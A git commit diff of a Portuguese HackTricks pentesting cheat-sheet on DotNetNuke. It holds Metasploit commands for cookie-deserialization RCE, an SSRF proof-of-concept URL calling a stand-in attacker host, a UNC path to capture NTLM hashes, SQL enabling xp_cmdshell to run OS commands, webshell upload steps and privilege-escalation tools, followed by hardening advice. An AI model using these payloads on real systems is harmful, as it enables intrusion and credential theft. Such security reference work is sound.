mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d
This commit is contained in:
parent
aec0a63762
commit
eb366e59e8
@ -4,37 +4,92 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
Se você entrar como **administrador** no DNN, é fácil obter RCE.
|
||||
Se você entrar como **administrador** no DNN, é fácil obter **RCE**, no entanto, várias técnicas *não autenticadas* e *pós-autenticação* foram publicadas nos últimos anos. Este cheat-sheet coleta os primitivas mais úteis para trabalhos ofensivos e defensivos.
|
||||
|
||||
## RCE
|
||||
---
|
||||
## Enumeração de Versão e Ambiente
|
||||
|
||||
### Via SQL
|
||||
* Verifique o cabeçalho de resposta HTTP *X-DNN* – geralmente revela a versão exata da plataforma.
|
||||
* O assistente de instalação vaza a versão em `/Install/Install.aspx?mode=install` (acessível em instalações muito antigas).
|
||||
* `/API/PersonaBar/GetStatus` (9.x) retorna um blob JSON contendo `"dnnVersion"` para usuários de baixo privilégio.
|
||||
* Cookies típicos que você verá em uma instância ao vivo:
|
||||
* `.DOTNETNUKE` – ticket de autenticação de formulários ASP.NET.
|
||||
* `DNNPersonalization` – contém dados de perfil de usuário em XML/serializados (versões antigas – veja RCE abaixo).
|
||||
|
||||
Um console SQL é acessível na página **`Settings`** onde você pode habilitar **`xp_cmdshell`** e **executar comandos do sistema operacional**.
|
||||
---
|
||||
## Exploração Não Autenticada
|
||||
|
||||
Use estas linhas para habilitar **`xp_cmdshell`**:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', '1'
|
||||
RECONFIGURE
|
||||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
### 1. RCE de Desserialização de Cookie (CVE-2017-9822 e seguimentos)
|
||||
*Versões afetadas ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization` é desserializado em cada solicitação quando o manipulador 404 embutido está habilitado. XML elaborado pode, portanto, levar a cadeias de gadgets arbitrárias e execução de código.
|
||||
```
|
||||
E pressione **"Run Script"** para executar essas sentenças SQL.
|
||||
|
||||
Em seguida, use algo como o seguinte para executar comandos do OS:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
### Via ASP webshell
|
||||
O módulo escolhe automaticamente o caminho certo para versões corrigidas, mas ainda vulneráveis (CVE-2018-15811/15812/18325/18326). A exploração funciona **sem autenticação** em 7.x–9.1.x e com uma conta de *baixo privilégio* *verificada* em 9.2.x+.
|
||||
|
||||
Em `Settings -> Security -> More -> More Security Settings` você pode **adicionar novas extensões permitidas** em `Allowable File Extensions`, e então clicar no botão `Save`.
|
||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||
*Versões afetadas < 9.13.8 – Patch lançado em abril de 2025*
|
||||
|
||||
Adicione **`asp`** ou **`aspx`** e então em **`/admin/file-management`** faça o upload de um **asp webshell** chamado `shell.asp`, por exemplo.
|
||||
Um bypass da correção mais antiga do `DnnImageHandler` permite que um atacante force o servidor a emitir **requisições GET arbitrárias** (SSRF semi-cega). Impactos práticos:
|
||||
|
||||
Então acesse **`/Portals/0/shell.asp`** para acessar seu webshell.
|
||||
* Escaneamento de portas internas / descoberta de serviços de metadados em implantações na nuvem.
|
||||
* Acessar hosts que, de outra forma, estariam protegidos por firewall da Internet.
|
||||
|
||||
### Privilege Escalation
|
||||
Prova de conceito (substitua `TARGET` & `ATTACKER`):
|
||||
```
|
||||
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
```
|
||||
A solicitação é acionada em segundo plano; monitore seu listener para callbacks.
|
||||
|
||||
Você pode **escalar privilégios** usando o **Potatoes** ou **PrintSpoofer**, por exemplo.
|
||||
### 3. Exposição de Hash NTLM via Redirecionamento UNC (CVE-2025-52488)
|
||||
*Versões afetadas 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
Conteúdo especialmente elaborado pode fazer com que o DNN tente buscar um recurso usando um **caminho UNC** como `\\attacker\share\img.png`. O Windows realizará a negociação NTLM, vazando os hashes da conta do servidor para o atacante. Atualize para **10.0.1** ou desative o SMB de saída no firewall.
|
||||
|
||||
### 4. Bypass de Filtro de IP (CVE-2025-52487)
|
||||
Se os administradores confiarem em *Filtros de Host/IP* para proteção do portal de administração, esteja ciente de que versões anteriores a **10.0.1** podem ser contornadas manipulando `X-Forwarded-For` em um cenário de proxy reverso.
|
||||
|
||||
---
|
||||
## Pós-Autenticação para RCE
|
||||
|
||||
### Via console SQL
|
||||
Sob **`Configurações → SQL`** uma janela de consulta embutida permite a execução contra o banco de dados do site. No Microsoft SQL Server, você pode habilitar **`xp_cmdshell`** e gerar comandos:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell', 1;
|
||||
RECONFIGURE;
|
||||
GO
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
||||
### Via upload de webshell ASPX
|
||||
1. Vá para **`Settings → Security → More → More Security Settings`**.
|
||||
2. Adicione `aspx` (ou `asp`) a **Allowable File Extensions** e **Save**.
|
||||
3. Navegue até **`/admin/file-management`** e faça o upload de `shell.aspx`.
|
||||
4. Acione-o em **`/Portals/0/shell.aspx`**.
|
||||
|
||||
---
|
||||
## Escalação de Privilégios no Windows
|
||||
Uma vez que a execução de código é alcançada como **IIS AppPool\<Site>**, técnicas comuns de escalonamento de privilégios do Windows se aplicam. Se a máquina for vulnerável, você pode aproveitar:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** para abusar do *SeImpersonatePrivilege*.
|
||||
* **Juicy/Sharp Potatoes** para escapar de *Service Accounts*.
|
||||
|
||||
---
|
||||
## Recomendações de Fortalecimento (Blue Team)
|
||||
|
||||
* **Upgrade** para pelo menos **9.13.9** (corrige bypass de SSRF) ou preferencialmente **10.0.1** (problemas de filtro de IP e NTLM).
|
||||
* Remova arquivos residuais **`InstallWizard.aspx*`** após a instalação.
|
||||
* Desative a saída SMB (portas 445/139).
|
||||
* Aplique filtros de *Host* fortes no proxy de borda em vez de dentro do DNN.
|
||||
* Bloqueie o acesso a `/API/RemoteContentProxy` se não estiver em uso.
|
||||
|
||||
## Referências
|
||||
|
||||
* Documentação do módulo Metasploit `dnn_cookie_deserialization_rce` – detalhes práticos de RCE não autenticada (GitHub).
|
||||
* Aviso de Segurança do GitHub GHSA-3f7v-qx94-666m – informações sobre bypass de SSRF de 2025 e patch.
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user